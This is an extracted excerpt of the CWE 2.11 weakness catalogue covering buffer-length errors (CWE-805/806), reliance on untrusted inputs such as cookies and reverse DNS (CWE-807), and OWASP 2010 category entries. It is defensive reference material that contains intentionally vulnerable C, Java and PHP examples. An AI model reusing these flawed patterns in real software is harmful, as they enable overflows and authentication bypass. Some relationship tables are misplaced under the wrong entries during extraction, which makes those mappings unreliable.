Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Demonstrative Examples

Example 1:
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:

```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr(addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.
Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:
In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

C Example:

```c
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
}
```
CWE Version 2.11
CWE-805: Buffer Access with Incorrect Length Value

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

**Example 3:**
In the following example, the source character string is copied to the dest character string using the method strncpy.

**C/C++ Example:**

```c
... char source[21] = "the character string"; char dest[12]; strncpy(dest, source, sizeof(source)-1); ...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

**C/C++ Example:**

```c
... char source[21] = "the character string"; char dest[12]; strncpy(dest, source, sizeof(dest)-1); ...
```

**Example 4:**
In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

**C++/C Example:**

```c
#define LOG_INPUT_SIZE 40 int outputFilenameToLog(char *filename, int length) { int success; char buf[LOG_INPUT_SIZE]; // copy filename to buffer strncpy(buf, filename, length); // save to log file success = saveToLogFile(buf); return success; }
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.
C/C++ Example:

```c
... // copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2010-4156</td>
<td>Language interpreter API function doesn't validate length argument, leading to information exposure</td>
</tr>
<tr>
<td>CVE-2011-0105</td>
<td>Chain: retrieval of length value from an uninitialized memory location</td>
</tr>
<tr>
<td>CVE-2011-0606</td>
<td>Crafted length value in document reader leads to buffer overflow</td>
</tr>
<tr>
<td>CVE-2011-0651</td>
<td>SSL server overflow when the sum of multiple length fields exceeds a given value</td>
</tr>
<tr>
<td>CVE-2011-1848</td>
<td>Use of packet length field to make a calculation, then copy into a fixed-size buffer</td>
</tr>
<tr>
<td>CVE-2011-1959</td>
<td>Chain: large length value causes buffer over-read (CWE-126)</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**

**Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Architecture and Design**

**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.805.6], and the Strsafe.h library from Microsoft [R.805.7]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

**Build and Compilation**

**Compilation or Build Hardening**

**Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Implementation**

Consider adhering to the following rules when allocating and managing an application's memory:

- Double check that your buffer is as large as you specify.
- When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
- Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.
- If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation
Environment Hardening
Defense in Depth
Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [R.805.2] [R.805.4] and Position-Independent Executables (PIE) [R.805.10]. This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation
Environment Hardening
Defense in Depth
Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.805.3] [R.805.6]. This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.805.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Weakness Ordinalities
Resultant (where the weakness is typically related to the presence of some other weaknesses)
Primary (where the weakness exists independent of other weaknesses)
CWE Version 2.11

CWE-806: Buffer Access Using Size of Source Buffer

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>740</td>
<td>CERT C Secure Coding Section 06 - Arrays (ARR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>874</td>
<td>CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)</td>
<td>868</td>
</tr>
<tr>
<td>CanFollow</td>
<td>☐</td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>806</td>
<td>Buffer Access Using Size of Source Buffer</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☐</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Affected Resources

- Memory

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ARR33-CPP</td>
<td>Guarantee that copies are made into storage of sufficient size</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR33-C</td>
<td>Guarantee that copies are made into storage of sufficient size</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>Overflow Buffers</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-806: Buffer Access Using Size of Source Buffer

Weakness ID: 806 (Weakness Variant) Status: Incomplete

Description

Summary
The software uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.

**Extended Description**

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C *(Sometimes)*
- C++ *(Sometimes)*

**Common Consequences**

**Availability**

DoS: crash / exit / restart
DoS: resource consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

**Integrity**

**Confidentiality**

**Availability**

**Execute unauthorized code or commands**

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

**Access Control**

**Bypass protection mechanism**

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

**Likelihood of Exploit**

Medium to High

**Demonstrative Examples**

**Example 1:**

In the following example, the source character string is copied to the dest character string using the method strncpy.

**C/C++ Example:** *(Bad Code)*

```c
...  
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...  
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

**C/C++ Example:** *(Good Code)*

```c
...  
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...  
```

**Example 2:**

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the
number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

C++/C Example:

```c
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

C/C++ Example:

```c
... // copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...```

Potential Mitigations

Architecture and Design
Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

Build and Compilation
Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include StackGuard, ProPolice and the Microsoft Visual Studio / GS flag. This is not necessarily a complete solution, since these canary-based mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Implementation
Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure you are not in danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
CWE Version 2.11

CWE-806: Buffer Access Using Size of Source Buffer

**Operation**

**Environment Hardening**

**Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.806.3] [R.806.5] and Position-Independent Executables (PIE) [R.806.7].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Build and Compilation**

**Operation**

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

**Weakness Ordinalities**

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Primary** (where the weakness exists independent of other weaknesses)

<table>
<thead>
<tr>
<th>Relationships</th>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>805</td>
<td></td>
<td>Buffer Access with Incorrect Length Value</td>
<td>699</td>
<td>1234</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
<td></td>
</tr>
</tbody>
</table>

**Affected Resources**

- Memory

**Causal Nature**

Explicit (an explicit weakness resulting from behavior of the developer)

**References**


CWE-807: Reliance on Untrusted Inputs in a Security Decision

**Description**

**Summary**
The application uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

**Extended Description**
Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Confidentiality**

**Access Control**

**Availability**

**Other**

**Bypass protection mechanism**

**Gain privileges / assume identity**

**Varies by context**
Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.

**Likelihood of Exploit**
Medium to High

**Detection Methods**

**Manual Static Analysis**

High
Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

The effectiveness and speed of manual analysis will be reduced if the there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

**Automated Static Analysis - Binary / Bytecode**

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis
**Manual Static Analysis - Binary / Bytecode**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Manual Static Analysis - Source Code**

**SOAR High**
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**

**SOAR High**
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Attack Modeling

**Demonstrative Examples**

**Example 1:**
The following code excerpt reads a value from a browser cookie to determine the role of the user.

**Java Example:**
```java
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
    userRole = c.getValue();
  }
}
```

**Example 2:**
The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

**PHP Example:**

```php
$sauth = $_COOKIE['authenticated'];
if (!$sauth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    } else {
        ShowLoginScreen();
        die("n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

**Example 3:**

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

**Java Example:**

```java
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

**Example 4:**

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

**C Example:**

```c
struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

**Java Example:**

```java
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getHostAddress().endsWith("trustme.com")) {
    trusted = true;
}
```

**C# Example:**

```csharp
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-5784</td>
<td>e-dating application allows admin privileges by setting the admin cookie to 1.</td>
</tr>
<tr>
<td>CVE-2008-6291</td>
<td>Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to &quot;admin.&quot;</td>
</tr>
<tr>
<td>CVE-2009-0864</td>
<td>Content management system allows admin privileges by setting a &quot;login&quot; cookie to &quot;OK.&quot;</td>
</tr>
<tr>
<td>CVE-2009-1549</td>
<td>Attacker can bypass authentication by setting a cookie to a specific value.</td>
</tr>
<tr>
<td>CVE-2009-1619</td>
<td>Attacker can bypass authentication and gain admin privileges by setting an &quot;admin&quot; cookie to 1.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Identify and Reduce Attack Surface**

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [R.807.2]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

**Architecture and Design**

**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use a framework that maintains the state for you. Examples include ASP.NET View State [R.807.3] and the OWASP ESAPI Session Management feature [R.807.4].

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Operation**

**Implementation**

**Environment Hardening**

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Architecture and Design

Implementation

Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user’s session on the server side instead of recording it within external data.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>803</td>
<td>2010 Top 25 - Porous Defenses</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>878</td>
<td>CERT C++ Secure Coding Section 10 - Environment (ENV)</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>302</td>
<td>Authentication Bypass by Assumed-Immutable Data</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>784</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🟢</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ENV03-CPP</td>
<td>Sanitize the environment when invoking external programs</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SEC09-J</td>
<td>Do not base security checks on untrusted sources</td>
</tr>
</tbody>
</table>

References


CWE-808: 2010 Top 25 - Weaknesses On the Cusp

Category ID: 808 (Category) Status: Incomplete

Description

Summary

Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>59</td>
<td>Improper Link Resolution Before File Access (‘Link Following’)</td>
<td>800</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>800</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
<td>800</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-809: Weaknesses in OWASP Top Ten (2010)

Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
ParentOf | 307 | Improper Restriction of Excessive Authentication Attempts | 800 | 542
ParentOf | 330 | Use of Insufficiently Random Values | 800 | 582
ParentOf | 416 | Use After Free | 800 | 720
ParentOf | 426 | Untrusted Search Path | 800 | 731
ParentOf | 454 | External Initialization of Trusted Variables or Data Stores | 800 | 769
ParentOf | 456 | Missing Initialization of a Variable | 800 | 772
ParentOf | 476 | NULL Pointer Dereference | 800 | 800
ParentOf | 672 | Operation on a Resource after Expiration or Release | 800 | 1041
ParentOf | 681 | Incorrect Conversion between Numeric Types | 800 | 1060
ParentOf | 749 | Exposed Dangerous Method or Function | 800 | 1141
ParentOf | 772 | Missing Release of Resource after Effective Lifetime | 800 | 1186
ParentOf | 799 | Improper Control of Interaction Frequency | 800 | 1229
MemberOf | 800 | Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors | 800 | 1231
ParentOf | 804 | Guessable CAPTCHA | 800 | 1233

References

CWE-809: Weaknesses in OWASP Top Ten (2010)

View ID: 809 (View: Graph) Status: Incomplete

Objective
CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2010.

View Data
View Metrics
CWEs in this view | Total CWEs
--- | ---
42 | 1006

View Audience
Developers
This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing a good starting point for web application developers who want to code more securely.

Software Customers
This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators
Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Relationships
Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
HasMember | C | 810 | OWASP Top Ten 2010 Category A1 - Injection | 809 | 1249
HasMember | C | 811 | OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS) | 809 | 1249
HasMember | C | 812 | OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management | 809 | 1250
HasMember | C | 813 | OWASP Top Ten 2010 Category A4 - Insecure Direct Object References | 809 | 1250
CWE-810: OWASP Top Ten 2010 Category A1 - Injection

Category ID: 810 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2010.

Relationships

Nature | Type | ID | Name | Page
---|---|---|---|---
HasMember | | 814 | OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery (CSRF) | 809 1250
HasMember | | 815 | OWASP Top Ten 2010 Category A6 - Security Misconfiguration | 809 1251
HasMember | | 816 | OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage | 809 1251
HasMember | | 817 | OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access | 809 1251
HasMember | | 818 | OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection | 809 1252
HasMember | | 819 | OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards | 809 1252

References

CWE-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)

Category ID: 811 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2010.

Relationships

Nature | Type | ID | Name | Page
---|---|---|---|---
ParentOf | | 78 | Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) | 809 121
ParentOf | | 88 | Argument Injection or Modification | 809 155
ParentOf | | 89 | Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) | 809 159
ParentOf | | 90 | Improper Neutralization of Special Elements used in an LDAP Query (‘LDAP Injection’) | 809 168
ParentOf | | 91 | XML Injection (aka Blind XPath Injection) | 809 170
MemberOf | | 809 | Weaknesses in OWASP Top Ten (2010) | 809 1248

References
CWE-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management

Category ID: 812 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2010.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>287</td>
<td>Improper Authentication</td>
<td>809 508</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>306</td>
<td>Missing Authentication for Critical Function</td>
<td>809 538</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
<td>809 542</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>809 1223</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☢</td>
<td>809</td>
